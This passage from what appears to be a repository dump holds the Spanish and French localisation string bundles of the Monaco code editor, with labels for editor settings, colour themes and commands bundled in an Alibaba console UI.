el foco del teclado cuando están activos, cuando están inactivos no.\",\"Color de fondo de la lista o el árbol del elemento con el foco cuando la lista o el árbol están activos. Una lista o un árbol tienen el foco del teclado cuando están activos, cuando están inactivos no.\",\"Color de fondo de la lista o el árbol del elemento seleccionado cuando la lista o el árbol están activos. Una lista o un árbol tienen el foco del teclado cuando están activos, cuando están inactivos no.\",\"Color de primer plano de la lista o el árbol del elemento con el foco cuando la lista o el árbol están activos. Una lista o un árbol tienen el foco del teclado cuando están activos, cuando están inactivos no.\",\"Color de fondo de la lista o el árbol del elemento seleccionado cuando la lista o el árbol están inactivos. Una lista o un árbol tienen el foco del teclado cuando están activos, cuando están inactivos no.\",\"Color de primer plano de la lista o el árbol del elemento con el foco cuando la lista o el árbol esta inactiva. Una lista o un árbol tiene el foco del teclado cuando está activo, cuando esta inactiva no.\",\"Color de fondo de la lista o el árbol del elemento seleccionado cuando la lista o el árbol están inactivos. Una lista o un árbol tienen el foco del teclado cuando están activos, cuando están inactivos no.\",\"Color de primer plano de la lista o el árbol del elemento con el foco cuando la lista o el árbol esta inactiva. Una lista o un árbol tiene el foco del teclado cuando está activo, cuando esta inactiva no.\",\"Fondo de la lista o el árbol al mantener el mouse sobre los elementos.\",\"Color de primer plano de la lista o el árbol al pasar por encima de los elementos con el ratón.\",\"Fondo de arrastrar y colocar la lista o el árbol al mover los elementos con el mouse.\",\"Color de primer plano de la lista o el árbol de las coincidencias resaltadas al buscar dentro de la lista o el ábol.\",\"Selector de color rápido para la agrupación de etiquetas.\",\"Selector de color rápido para la agrupación de bordes.\",\"Color de primer plano del botón.\",\"Color de fondo del botón.\",\"Color de fondo del botón al mantener el puntero.\",\"Color de fondo de la insignia. Las insignias son pequeñas etiquetas de información, por ejemplo los resultados de un número de resultados.\",\"Color de fondo de la insignia. Las insignias son pequeñas etiquetas de información, por ejemplo los resultados de un número de resultados.\",\"Sombra de la barra de desplazamiento indica que la vista se ha despazado.\",\"Color de fondo de control deslizante de barra de desplazamiento.\",\"Color de fondo de barra de desplazamiento cursor cuando se pasar sobre el control.\",\"Color de fondo de barra de desplazamiento cursor cuando está activo.\",\"Color de fondo para la barra de progreso que se puede mostrar para las operaciones de larga duración.\",\"Color de fondo del editor.\",\"Color de primer plano predeterminado del editor.\",\"Color de fondo del editor de widgets como buscar/reemplazar\",\"Color de borde de los widgets del editor. El color solo se usa si el widget elige tener un borde y no invalida el color.\",\"Color de la selección del editor.\",\"Color del texto seleccionado para alto contraste.\",\"Color de la selección en un editor inactivo.\",\"Color de las regiones con el mismo contenido que la selección.\",\"Color de la coincidencia de búsqueda actual.\",\"Color de las demás coincidencias de búsqueda.\",\"Color del intervalo que limita la búsqueda.\",\"Resaltado debajo de la palabra para la que se muestra un recuadro al mantener el puntero.\",\"Color de fondo al mantener el puntero en el editor.\",\"Color del borde al mantener el puntero en el editor.\",\"Color de los vínculos activos.\",\"Color de fondo para el texto insertado.\",\"Color de fondo para el texto quitado.\",\"Color de contorno para el texto insertado.\",\"Color de contorno para el texto quitado.\",\"Fondo del encabezado actual en conflictos de combinación alineados.\",\"Fondo del contenido actual en conflictos de combinación alineados.\",\"Fondo del encabezado de entrada en conflictos de combinación alineados.\",\"Fondo del contenido de entrada en conflcitos de combinación alineados.\",\"Fondo del encabezado de ancestros comunes en conflictos de combinación alineados.\",\"Fondo del contenido de ancestros comunes en conflictos de combinación alineados.\",\"Color del borde en los encabezados y el divisor en conflictos de combinación alineados.\",\"Primer plano de la regla de visión general actual para conflictos de combinación alineados.\",\"Primer plano de regla de visión general de entrada para conflictos de combinación alineados.\",\"Primer plano de la regla de visión general de ancestros comunes para conflictos de combinación alineados.\"]});\n//# sourceMappingURL=../../../min-maps/vs/editor/editor.main.nls.es.js.map\n"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/editor/editor.main.nls.fr.js",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\ndefine(\"vs/editor/editor.main.nls.fr\",{\"vs/base/browser/ui/actionbar/actionbar\":[\"{0} ({1})\"],\"vs/base/browser/ui/aria/aria\":[\"{0} (s'est reproduit)\"],\"vs/base/browser/ui/findinput/findInput\":[\"entrée\"],\"vs/base/browser/ui/findinput/findInputCheckboxes\":[\"Respecter la casse\",\"Mot entier\",\"Utiliser une expression régulière\"],\"vs/base/browser/ui/inputbox/inputBox\":[\"Erreur : {0}\",\"Avertissement : {0}\",\"Information : {0}\"],\"vs/base/common/keybindingLabels\":[\"Ctrl\",\"Maj\",\"Alt\",\"Windows\",\"Contrôle\",\"Maj\",\"Alt\",\"Commande\",\"Contrôle\",\"Maj\",\"Alt\",\"Windows\"],\"vs/base/common/severity\":[\"Erreur\",\"Avertissement\",\"Informations\"],\"vs/base/parts/quickopen/browser/quickOpenModel\":[\"{0}, sélecteur\",\"sélecteur\"],\"vs/base/parts/quickopen/browser/quickOpenWidget\":[\"Sélecteur rapide. Tapez pour réduire les résultats.\",\"Sélecteur rapide\"],\"vs/base/parts/tree/browser/treeDefaults\":[\"Réduire\"],\"vs/editor/browser/widget/diffEditorWidget\":[\"Impossible de comparer les fichiers car l'un d'eux est trop volumineux.\"],\"vs/editor/browser/widget/diffReview\":[\"Fermer\",\"Différence {0} sur {1} : {2} d'origine, {3} lignes, {4} modifiées, {5} lignes\",\"vide\",\"{0} d'origine, {1} modifiées : {2}\",\"+ {0} modifiées : {1}\",\"- {0} d'origine : {1}\",\"Accéder à la différence suivante\",\"Accéder la différence précédente\"],\"vs/editor/common/config/commonEditorConfig\":[\"Éditeur\",\"Contrôle la famille de polices.\",\"Contrôle l'épaisseur de police.\",\"Contrôle la taille de police en pixels.\",\"Contrôle la hauteur de ligne. Utilisez 0 pour calculer lineHeight à partir de fontSize.\",\"Définit l'espacement des caractères en pixels.\",\"Contrôle l'affichage des numéros de ligne. Les valeurs possibles sont 'activé', 'désactivé' et 'relatif'. La valeur 'relatif' indique le numéro de ligne à partir de la position actuelle du curseur.\",\"Colonnes où afficher les règles verticales\",\"Caractères utilisés comme séparateurs de mots durant la navigation ou les opérations basées sur les mots\",\"Nombre d'espaces correspondant à une tabulation. Ce paramètre est remplacé en fonction du contenu du fichier quand 'editor.detectIndentation' est activé.\",\"'number' attendu. Notez que la valeur \\\"auto\\\" a été remplacée par le paramètre 'editor.detectIndentation'.\",\"Des espaces sont insérés quand vous appuyez sur la touche Tab. Ce paramètre est remplacé en fonction du contenu du fichier quand 'editor.detectIndentation' est activé.\",\"'boolean' attendu. Notez que la valeur \\\"auto\\\" a été remplacée par le paramètre 'editor.detectIndentation'.\",\"Quand vous ouvrez un fichier, 'editor.tabSize' et 'editor.insertSpaces' sont détectés en fonction du contenu du fichier.\",\"Contrôle si les sélections ont des angles arrondis\",\"Contrôle si l'éditeur défile au-delà de la dernière ligne\",\"Contrôle si la minicarte est affichée\",\"Contrôle si le curseur de la minicarte est automatiquement masqué\",\"Afficher les caractères réels sur une ligne (par opposition aux blocs de couleurs)\",\"Limiter la largeur de la minicarte pour afficher au maximum un certain nombre de colonnes\",\"Contrôle si nous remplissons la chaîne à rechercher dans le Widget Recherche à partir de la sélection de l'éditeur\",\"Contrôle si l'indicateur Rechercher dans la sélection est activé quand plusieurs caractères ou lignes de texte sont sélectionnés dans l'éditeur\",\"Le retour automatique à la ligne n'est jamais effectué.\",\"Le retour automatique à la ligne s'effectue en fonction de la largeur de la fenêtre d'affichage.\",\"Le retour automatique à la ligne s'effectue en fonction de 'editor.wordWrapColumn'.\",\"Retour automatique à la ligne au minimum en fonction de la fenêtre d'affichage et de 'editor.wordWrapColumn'.\",\"Contrôle le retour automatique à la ligne. Valeurs possibles :\\n - 'off' (désactive le retour automatique à la ligne) ;\\n - 'on' (retour automatique à la ligne dans la fenêtre d'affichage) ;\\n - 'wordWrapColumn' (retour automatique à la ligne en fonction de 'editor.wordWrapColumn') ou ;\\n - 'bounded' (retour automatique à la ligne au minimum en fonction de la fenêtre d'affichage et de 'editor.wordWrapColumn').\",\"Contrôle la colonne de retour automatique à la ligne de l'éditeur quand 'editor.wordWrap' a la valeur 'wordWrapColumn' ou 'bounded'.\",\"Contrôle le retrait des lignes renvoyées. La valeur peut être 'none', 'same' ou 'indent'.\",\"Multiplicateur à utiliser pour le 'deltaX' et le 'deltaY' des événements de défilement de la roulette de la souris\",\"Mappe vers 'Contrôle' dans Windows et Linux, et vers 'Commande' dans OSX.\",\"Mappe vers 'Alt' dans Windows et Linux, et vers 'Option' dans OSX.\",\"Modificateur à utiliser pour ajouter plusieurs curseurs avec la souris. 'ctrlCmd' mappe vers 'Contrôle' dans Windows et Linux, et vers 'Commande' dans OSX. Les mouvements de souris Accéder à la définition et Ouvrir le lien s'adaptent pour ne pas entrer en conflit avec le modificateur multicurseur.\",\"Activez les suggestions rapides dans les chaînes.\",\"Activez les suggestions rapides dans les commentaires.\",\"Activez les suggestions rapides en dehors des chaînes et des commentaires.\",\"Contrôle si les suggestions doivent s'afficher automatiquement en cours de frappe\",\"Contrôle le délai en ms au bout duquel les suggestions rapides s'affichent\",\"Active la pop up qui affiche la documentation des paramètres et écrit de l'information pendant que vous écrivez\",\"Contrôle si l'éditeur doit automatiquement fermer les crochets après les avoir ouverts\",\"Contrôle si l'éditeur doit automatiquement mettre en forme la ligne après la saisie\",\"Contrôle si l'éditeur doit automatiquement mettre en forme le contenu collé. Un formateur doit être disponible et doit pouvoir mettre en forme une plage dans un document.\",\"Contrôle si l'éditeur doit automatiquement ajuster l'indentation quand les utilisateurs écrivent, collent ou déplacent des lignes. Les règles d'indentation du langage doivent être disponibles.\",\"Contrôle si les suggestions doivent s'afficher automatiquement durant la saisie de caractères de déclenchement\",\"Contrôle si les suggestions doivent être acceptées avec 'Entrée', en plus de 'Tab'. Cela permet d'éviter toute ambiguïté entre l'insertion de nouvelles lignes et l'acceptation de suggestions. La valeur 'smart' signifie que vous acceptez uniquement une suggestion avec Entrée quand elle applique une modification de texte\",\"Contrôle si les suggestions doivent être acceptées avec des caractères de validation. Par exemple, en JavaScript, le point-virgule (';') peut être un caractère de validation qui permet d'accepter une suggestion et de taper ce caractère.\",\"Afficher des suggestions d’extraits au-dessus d’autres suggestions.\",\"Afficher des suggestions d’extraits en-dessous d’autres suggestions.\",\"Afficher des suggestions d’extraits avec d’autres suggestions.\",\"Ne pas afficher de suggestions d’extrait de code.\",\"Contrôle si les extraits de code s'affichent en même temps que d'autres suggestions, ainsi que leur mode de tri.\",\"Contrôle si la copie sans sélection permet de copier la ligne actuelle.\",\"Contrôle si la saisie semi-automatique doit être calculée en fonction des mots présents dans le document.\",\"Taille de police du widget de suggestion\",\"Hauteur de ligne du widget de suggestion\",\"Détermine si l'éditeur doit surligner les correspondances similaires à la sélection\",\"Contrôle si l'éditeur doit mettre en surbrillance les occurrences de symboles sémantiques\",\"Contrôle le nombre d'ornements pouvant s'afficher à la même position dans la règle d'aperçu\",\"Contrôle si une bordure doit être dessinée autour de la règle d'aperçu.\",\"Contrôle le style d'animation du curseur. Valeurs possibles : 'blink', 'smooth', 'phase', 'expand' et 'solid'\",\"Agrandir ou réduire la police de l'éditeur quand l'utilisateur fait tourner la roulette de la souris tout en maintenant la touche Ctrl enfoncée\",\"Contrôle le style du curseur. Les valeurs acceptées sont 'block', 'block-outline', 'line', 'line-thin', 'underline' et 'underline-thin'\",\"Active les ligatures de police\",\"Contrôle si le curseur doit être masqué dans la règle d'aperçu.\",\"Contrôle la façon dont l'éditeur affiche les espaces blancs. Il existe trois options possibles : 'none', 'boundary' et 'all'. L'option 'boundary' n'affiche pas les espaces uniques qui séparent les mots.\",\"Contrôle si l'éditeur doit afficher les caractères de contrôle\",\"Contrôle si l'éditeur doit afficher les repères de mise en retrait\",\"Contrôle la façon dont l'éditeur doit afficher la surbrillance de la ligne active. Les différentes possibilités sont 'none', 'gutter', 'line' et 'all'.\",\"Contrôle si l'éditeur affiche les indicateurs CodeLens\",\"Contrôle si le pliage de code est activé dans l'éditeur\",\"Définit si les contrôles de réduction sur la bordure sont cachés automatiquement\",\"Met en surbrillance les crochets correspondants quand l'un d'eux est sélectionné.\",\"Contrôle si l'éditeur doit afficher la marge de glyphes verticale. La marge de glyphes sert principalement au débogage.\",\"L'insertion et la suppression d'un espace blanc suit les taquets de tabulation\",\"Supprimer l'espace blanc de fin inséré automatiquement\",\"Garder les éditeurs d'aperçu ouverts même si l'utilisateur double-clique sur son contenu ou appuie sur la touche Échap.\",\"Contrôle si l'éditeur autorise le déplacement des sélections par glisser-déplacer.\",\"L'éditeur utilise les API de la plateforme pour détecter si un lecteur d'écran est attaché.\",\"L'éditeur est optimisé en permanence pour une utilisation avec un lecteur d'écran.\",\"L'éditeur n'est jamais optimisé pour une utilisation avec un lecteur d'écran.\",\"Contrôle si l'éditeur doit s'exécuter dans un mode optimisé pour les lecteurs d'écran.\",\"Contrôle si l'éditeur doit détecter les liens et les rendre cliquables\",\"Contrôle si l'éditeur de différences affiche les différences en mode côte à côte ou inline\",\"Contrôle si l'éditeur de différences affiche les changements liés aux espaces blancs de début ou de fin comme des différences\",\"Contrôle si l'éditeur de différences affiche les indicateurs +/- pour les modifications ajoutées/supprimées\",\"Contrôle si le presse-papiers primaire Linux doit être pris en charge.\"],\"vs/editor/common/config/editorOptions\":[\"L'éditeur n'est pas accessible pour le moment. Appuyez sur Alt+F1 pour connaître les options.\",\"Contenu d'éditeur\"],\"vs/editor/common/controller/cursor\":[\"Exception inattendue pendant l'exécution de la commande.\"],\"vs/editor/common/model/textModelWithTokens\":[\"Le mode a échoué lors de la création de jetons de l’entrée.\"],\"vs/editor/common/modes/modesRegistry\":[\"Texte brut\"],\"vs/editor/common/services/bulkEdit\":[\"Ces fichiers ont changé pendant ce temps : {0}\",\"Aucune modification effectuée\",\"{0} modifications de texte effectuées dans {1} fichiers\",\"{0} modifications de texte effectuées dans un fichier\"],\"vs/editor/common/services/modelServiceImpl\":[\"[{0}]\\n{1}\",\"[{0}] {1}\"],\"vs/editor/common/view/editorColorRegistry\":[\"Couleur d'arrière-plan de la mise en surbrillance de la ligne à la position du curseur.\",\"Couleur d'arrière-plan de la bordure autour de la ligne à la position du curseur.\",\"Couleur d'arrière-plan des plages mises en surbrillance, par exemple par les fonctionnalités de recherche et Quick Open.\",\"Couleur du curseur de l'éditeur.\",\"La couleur de fond du curseur de l'éditeur. Permet de personnaliser la couleur d'un caractère survolé par un curseur de bloc.\",\"Couleur des espaces blancs dans l'éditeur.\",\"Couleur des repères de retrait de l'éditeur.\",\"Couleur des numéros de ligne de l'éditeur.\",\"Couleur des règles de l'éditeur\",\"Couleur pour les indicateurs CodeLens\",\"Couleur d'arrière-plan pour les accolades associées\",\"Couleur pour le contour des accolades associées\",\"Couleur de la bordure de la règle d'apperçu.\",\"Couleur de fond pour la bordure de l'éditeur. La bordure contient les marges pour les symboles et les numéros de ligne.\",\"Couleur de premier plan de la ligne ondulée marquant les erreurs dans l'éditeur.\",\"Couleur de bordure de la ligne ondulée marquant les erreurs dans l'éditeur.\",\"Couleur de premier plan de la ligne ondulée marquant les avertissements dans l'éditeur.\",\"Couleur de bordure de la ligne ondulée marquant les avertissements dans l'éditeur.\"],\"vs/editor/contrib/bracketMatching/common/bracketMatching\":[\"Atteindre le crochet\"],\"vs/editor/contrib/caretOperations/common/caretOperations\":[\"Déplacer le point d'insertion vers la gauche\",\"Déplacer le point d'insertion vers la droite\"],\"vs/editor/contrib/caretOperations/common/transpose\":[\"Transposer les lettres\"],\"vs/editor/contrib/clipboard/browser/clipboard\":[\"Couper\",\"Copier\",\"Coller\",\"Copier avec la coloration syntaxique\"],\"vs/editor/contrib/comment/common/comment\":[\"Activer/désactiver le commentaire de ligne\",\"Ajouter le commentaire de ligne\",\"Supprimer le commentaire de ligne\",\"Activer/désactiver le commentaire de bloc\"],\"vs/editor/contrib/contextmenu/browser/contextmenu\":[\"Afficher le menu contextuel de l'éditeur\"],\"vs/editor/contrib/find/browser/findWidget\":[\"Rechercher\",\"Rechercher\",\"Correspondance précédente\",\"Correspondance suivante\",\"Rechercher dans la sélection\",\"Fermer\",\"Remplacer\",\"Remplacer\",\"Remplacer\",\"Tout remplacer\",\"Changer le mode de remplacement\",\"Seuls les 999 premiers résultats sont mis en surbrillance. Cependant, toutes les opérations de recherche sont appliquées à l'ensemble du texte.\",\"{0} sur {1}\",\"Aucun résultat\"],\"vs/editor/contrib/find/common/findController\":[\"Rechercher\",\"Rechercher suivant\",\"Rechercher précédent\",\"Sélection suivante\",\"Sélection précédente\",\"Remplacer\",\"Ajouter la sélection à la correspondance de recherche suivante\",\"Ajouter la sélection à la correspondance de recherche précédente\",\"Déplacer la dernière sélection vers la correspondance de recherche suivante\",\"Déplacer la dernière sélection à la correspondance de recherche précédente\",\"Sélectionner toutes les occurrences des correspondances de la recherche\",\"Modifier toutes les occurrences\",\"Afficher le terme de recherche suivant\",\"Afficher le terme de recherche précédent\"],\"vs/editor/contrib/folding/browser/folding\":[\"Déplier\",\"Déplier de manière récursive\",\"Plier\",\"Plier de manière récursive\",\"Plier tout\",\"Déplier tout\",\"Niveau de pliage {0}\"],\"vs/editor/contrib/format/browser/formatActions\":[\"1 modification de format effectuée à la ligne {0}\",\"{0} modifications de format effectuées à la ligne {1}\",\"1 modification de format effectuée entre les lignes {0} et {1}\",\"{0} modifications de format effectuées entre les lignes {1} et {2}\",\"Mettre en forme le document\",\"Mettre en forme la sélection\"],\"vs/editor/contrib/goToDeclaration/browser/goToDeclarationCommands\":[\"Définition introuvable pour '{0}'\",\"Définition introuvable\",\" – {0} définitions\",\"Atteindre la définition\",\"Ouvrir la définition sur le côté\",\"Apercu de définition\",\"Implémentation introuvable pour '{0}'\",\"Implémentation introuvable\",\"– Implémentations {0}\",\"Accéder à l'implémentation\",\"Aperçu de l'implémentation\",\"Définition de type introuvable pour '{0}'\",\"Définition de type introuvable\",\" – Définitions de type {0}\",\"Atteindre la définition de type\",\"Aperçu de la définition du type\"],\"vs/editor/contrib/goToDeclaration/browser/goToDeclarationMouse\":[\"Cliquez pour afficher {0} définitions.\"],\"vs/editor/contrib/gotoError/browser/gotoError\":[\"({0}/{1})\",\"Accéder à l'erreur ou l'avertissement suivant\",\"Accéder à l'erreur ou l'avertissement précédent\",\"Couleur d'erreur du widget de navigation dans les marqueurs de l'éditeur.\",\"Couleur d'avertissement du widget de navigation dans les marqueurs de l'éditeur.\",\"Arrière-plan du widget de navigation dans les marqueurs de l'éditeur.\"],\"vs/editor/contrib/hover/browser/hover\":[\"Afficher par pointage\"],\"vs/editor/contrib/hover/browser/modesContentHover\":[\"Chargement...\"],\"vs/editor/contrib/inPlaceReplace/common/inPlaceReplace\":[\"Remplacer par la valeur précédente\",\"Remplacer par la valeur suivante\"],\"vs/editor/contrib/linesOperations/common/linesOperations\":[\"Copier la ligne en haut\",\"Copier la ligne en bas\",\"Déplacer la ligne vers le haut\",\"Déplacer la ligne vers le bas\",\"Trier les lignes dans l'ordre croissant\",\"Trier les lignes dans l'ordre décroissant\",\"Découper l'espace blanc de fin\",\"Supprimer la ligne\",\"Mettre en retrait la ligne\",\"Ajouter un retrait négatif à la ligne\",\"Insérer une ligne au-dessus\",\"Insérer une ligne sous\",\"Supprimer tout ce qui est à gauche\",\"Supprimer tout ce qui est à droite\",\"Joindre les lignes\",\"Transposer les caractères autour du curseur\",\"Transformer en majuscule\",\"Transformer en minuscule\"],\"vs/editor/contrib/links/browser/links\":[\"Commande + clic pour suivre le lien\",\"Ctrl + clic pour suivre le lien\",\"Cmd + clic pour exécuter la commande\",\"Ctrl + clic pour exécuter la commande\",\"Alt + clic pour suivre le lien\",\"Alt + clic pour exécuter la commande\",\"Échec de l'ouverture de ce lien, car il n'est pas bien formé : {0}\",\"Échec de l'ouverture de ce lien, car sa cible est manquante.\",\"Ouvrir le lien\"],\"vs/editor/contrib/multicursor/common/multicursor\":[\"Ajouter un curseur au-dessus\",\"Ajouter un curseur en dessous\",\"Ajouter des curseurs à la fin des lignes\"],\"vs/editor/contrib/parameterHints/browser/parameterHints\":[\"Indicateurs des paramètres Trigger\"],\"vs/editor/contrib/parameterHints/browser/parameterHintsWidget\":[\"{0}, conseil\"],\"vs/editor/contrib/quickFix/browser/quickFixCommands\":[\"Afficher les correctifs ({0})\",\"Afficher les correctifs\",\"Correctif rapide\"],\"vs/editor/contrib/referenceSearch/browser/referenceSearch\":[\" – {0} références\",\"Rechercher toutes les références\"],\"vs/editor/contrib/referenceSearch/browser/referencesController\":[\"Chargement...\"],\"vs/editor/contrib/referenceSearch/browser/referencesModel\":[\"symbole dans {0} sur la ligne {1}, colonne {2}\",\"1 symbole dans {0}, chemin complet {1}\",\"{0} symboles dans {1}, chemin complet {2}\",\"Résultats introuvables\",\"1 symbole dans {0}\",\"{0} symboles dans {1}\",\"{0} symboles dans {1} fichiers\"],\"vs/editor/contrib/referenceSearch/browser/referencesWidget\":[\"Échec de la résolution du fichier.\",\"{0} références\",\"{0} référence\",\"aperçu non disponible\",\"Références\",\"Aucun résultat\",\"Références\",\"Couleur d'arrière-plan de la zone de titre de l'affichage d'aperçu.\",\"Couleur du titre de l'affichage d'aperçu.\",\"Couleur des informations sur le titre de l'affichage d'aperçu.\",\"Couleur des bordures et de la flèche de l'affichage d'aperçu.\",\"Couleur d'arrière-plan de la liste des résultats de l'affichage d'aperçu.\",\"Couleur de premier plan des noeuds de lignes dans la liste des résultats de l'affichage d'aperçu.\",\"Couleur de premier plan des noeuds de fichiers dans la liste des résultats de l'affichage d'aperçu.\",\"Couleur d'arrière-plan de l'entrée sélectionnée dans la liste des résultats de l'affichage d'aperçu.\",\"Couleur de premier plan de l'entrée sélectionnée dans la liste des résultats de l'affichage d'aperçu.\",\"Couleur d'arrière-plan de l'éditeur d'affichage d'aperçu.\",\"Couleur d'arrière-plan de la bordure de l'éditeur d'affichage d'aperçu.\",\"Couleur de mise en surbrillance d'une correspondance dans la liste des résultats de l'affichage d'aperçu.\",\"Couleur de mise en surbrillance d'une correspondance dans l'éditeur de l'affichage d'aperçu.\"],\"vs/editor/contrib/rename/browser/rename\":[\"Aucun résultat.\",\"'{0}' renommé en '{1}'. Récapitulatif : {2}\",\"Échec de l'exécution du renommage.\",\"Renommer le symbole\"],\"vs/editor/contrib/rename/browser/renameInputField\":[\"Renommez l'entrée. Tapez le nouveau nom et appuyez sur Entrée pour valider.\"],\"vs/editor/contrib/smartSelect/common/smartSelect\":[\"Développer la sélection\",\"Réduire la sélection\"],\"vs/editor/contrib/suggest/browser/suggestController\":[\"L'acceptation de '{0}' a inséré le texte suivant : {1}\",\"Suggestions pour Trigger\"],\"vs/editor/contrib/suggest/browser/suggestWidget\":[\"Couleur d'arrière-plan du widget de suggestion.\",\"Couleur de bordure du widget de suggestion.\",\"Couleur de premier plan du widget de suggestion.\",\"Couleur d'arrière-plan de l'entrée sélectionnée dans le widget de suggestion.\",\"Couleur de la surbrillance des correspondances dans le widget de suggestion.\",\"En savoir plus...{0}\",\"{0}, suggestion, avec détails\",\"{0}, suggestion\",\"En savoir moins...{0}\",\"Chargement...\",\"Pas de suggestions.\",\"{0}, accepté\",\"{0}, suggestion, avec détails\",\"{0}, suggestion\"],\"vs/editor/contrib/toggleTabFocusMode/common/toggleTabFocusMode\":[\"Activer/désactiver l'utilisation de la touche Tab pour déplacer le focus\"],\"vs/editor/contrib/wordHighlighter/common/wordHighlighter\":[\"Couleur d'arrière-plan d'un symbole durant l'accès en lecture, par exemple la lecture d'une variable.\",\"Couleur d'arrière-plan d'un symbole durant l'accès en écriture, par exemple l'écriture dans une variable.\"],\"vs/editor/contrib/zoneWidget/browser/peekViewWidget\":[\"Fermer\"],\"vs/editor/standalone/browser/inspectTokens/inspectTokens\":[\"Developer: Inspect Tokens\"],\"vs/editor/standalone/browser/quickOpen/gotoLine\":[\"Go to line {0} and character {1}\",\"Go to line {0}\",\"Type a line number between 1 and {0} to navigate to\",\"Type a character between 1 and {0} to navigate to\",\"Go to line {0}\",\"Type a line number, followed by an optional colon and a character number to navigate to\",\"Go to Line...\"],\"vs/editor/standalone/browser/quickOpen/quickCommand\":[\"{0}, commands\",\"Type the name of an action you want to execute\",\"Command Palette\"],\"vs/editor/standalone/browser/quickOpen/quickOutline\":[\"{0}, symbols\",\"Type the name of an identifier you wish to navigate to\",\"Go to Symbol...\",\"symbols ({0})\",\"modules ({0})\",\"classes ({0})\",\"interfaces ({0})\",\"methods ({0})\",\"functions ({0})\",\"properties ({0})\",\"variables ({0})\",\"variables ({0})\",\"constructors ({0})\",\"calls ({0})\"],\"vs/editor/standalone/browser/standaloneCodeEditor\":[\"Editor content\",\"Press Ctrl+F1 for Accessibility Options.\",\"Press Alt+F1 for Accessibility Options.\"],\"vs/editor/standalone/browser/toggleHighContrast/toggleHighContrast\":[\"Toggle High Contrast Theme\"],\"vs/platform/configuration/common/configurationRegistry\":[\"Substitutions de configuration par défaut\",\"Configurez les paramètres d'éditeur à remplacer pour le langage {0}.\",\"Configurez les paramètres d'éditeur à remplacer pour un langage.\",\"Impossible d'inscrire '{0}'. Ceci correspond au modèle de propriété '\\\\\\\\[.*\\\\\\\\]$' permettant de décrire les paramètres d'éditeur spécifiques à un langage. Utilisez la contribution 'configurationDefaults'.\",\"Impossible d'inscrire '{0}'. Cette propriété est déjà inscrite.\"],\"vs/platform/keybinding/common/abstractKeybindingService\":[\"Touche ({0}) utilisée. En attente de la seconde touche pour la pression simultanée...\",\"La combinaison de touches ({0}, {1}) n'est pas une commande.\"],\"vs/platform/message/common/message\":[\"Fermer\",\"Plus tard\",\"Annuler\"],\"vs/platform/theme/common/colorRegistry\":[\"Format de couleur non valide. Utilisez #RGB, #RGBA, #RRGGBB ou #RRGGBBAA\",\"Couleurs utilisées dans le banc d'essai.\",\"Couleur de premier plan globale. Cette couleur est utilisée si elle n'est pas remplacée par un composant.\",\"Couleur principale de premier plan pour les messages d'erreur. Cette couleur est utilisée uniquement si elle n'est pas redéfinie par un composant.\",\"Couleur de premier plan du texte descriptif fournissant des informations supplémentaires, par exemple pour un label.\",\"Couleur de bordure globale des éléments ayant le focus. Cette couleur est utilisée si elle n'est pas remplacée par un composant.\",\"Bordure supplémentaire autour des éléments pour les séparer des autres et obtenir un meilleur contraste.\",\"Bordure supplémentaire autour des éléments actifs pour les séparer des autres et obtenir un meilleur contraste.\",\"La couleur d'arrière-plan des sélections de texte dans le banc d'essai (par ex., pour les champs d'entrée ou les zones de texte). Notez que cette couleur ne s'applique pas aux sélections dans l'éditeur et le terminal.\",\"Couleur pour les séparateurs de texte.\",\"Couleur des liens dans le texte.\",\"Couleur des liens actifs dans le texte.\",\"Couleur des segments de texte préformatés.\",\"Couleur d'arrière-plan des citations dans le texte.\",\"Couleur de bordure des citations dans le texte.\",\"Couleur d'arrière-plan des blocs de code dans le texte.\",\"Couleur de l'ombre des widgets, comme rechercher/remplacer, au sein de l'éditeur.\",\"Arrière-plan de la zone d'entrée.\",\"Premier plan de la zone d'entrée.\",\"Bordure de la zone d'entrée.\",\"Couleur de la bordure des options activées dans les champs d'entrée.\",\"Couleur de premier plan de la zone d'entrée pour le texte d'espace réservé.\",\"Couleur d'arrière-plan de la validation d'entrée pour la gravité des informations.\",\"Couleur de bordure de la validation d'entrée pour la gravité des informations.\",\"Couleur d'arrière-plan de la validation d'entrée pour l'avertissement sur les informations.\",\"Couleur de bordure de la validation d'entrée pour la gravité de l'avertissement.\",\"Couleur d'arrière-plan de la validation d'entrée pour la gravité de l'erreur.\",\"Couleur de bordure de la validation d'entrée pour la gravité de l'erreur. \",\"Arrière-plan de la liste déroulante.\",\"Premier plan de la liste déroulante.\",\"Bordure de la liste déroulante.\",\"Couleur d'arrière-plan de la liste/l'arborescence pour l'élément ayant le focus quand la liste/l'arborescence est active. Une liste/aborescence active peut être sélectionnée au clavier, elle ne l'est pas quand elle est inactive.\",\"Couleur de premier plan de la liste/l'arborescence pour l'élément ayant le focus quand la liste/l'arborescence est active. Une liste/aborescence active peut être sélectionnée au clavier, elle ne l'est pas quand elle est inactive.\",\"Couleur d'arrière-plan de la liste/l'arborescence de l'élément sélectionné quand la liste/l'arborescence est active. Une liste/arborescence active peut être sélectionnée au clavier, elle ne l'est pas quand elle est inactive.\",\"Couleur de premier plan de la liste/l'arborescence pour l'élément sélectionné quand la liste/l'arborescence est active. Une liste/aborescence active peut être sélectionnée au clavier, elle ne l'est pas quand elle est inactive.\",\"Couleur d'arrière-plan de la liste/l'arborescence pour l'élément sélectionné quand la liste/l'arborescence est inactive. Une liste/aborescence active peut être sélectionnée au clavier, elle ne l'est pas quand elle est inactive.\",\"Couleur de premier plan de la liste/l'arborescence pour l'élément sélectionné quand la liste/l'arborescence est active. Une liste/aborescence active peut être sélectionnée au clavier, elle ne l'est pas quand elle est inactive.\",\"Couleur d'arrière-plan de la liste/l'arborescence pour l'élément sélectionné quand la liste/l'arborescence est inactive. Une liste/aborescence active peut être sélectionnée au clavier, elle ne l'est pas quand elle est inactive.\",\"Couleur de premier plan de la liste/l'arborescence pour l'élément sélectionné quand la liste/l'arborescence est active. Une liste/aborescence active peut être sélectionnée au clavier, elle ne l'est pas quand elle est inactive.\",\"Arrière-plan de la liste/l'arborescence pendant le pointage sur des éléments avec la souris.\",\"Premier plan de la liste/l'arborescence pendant le pointage sur des éléments 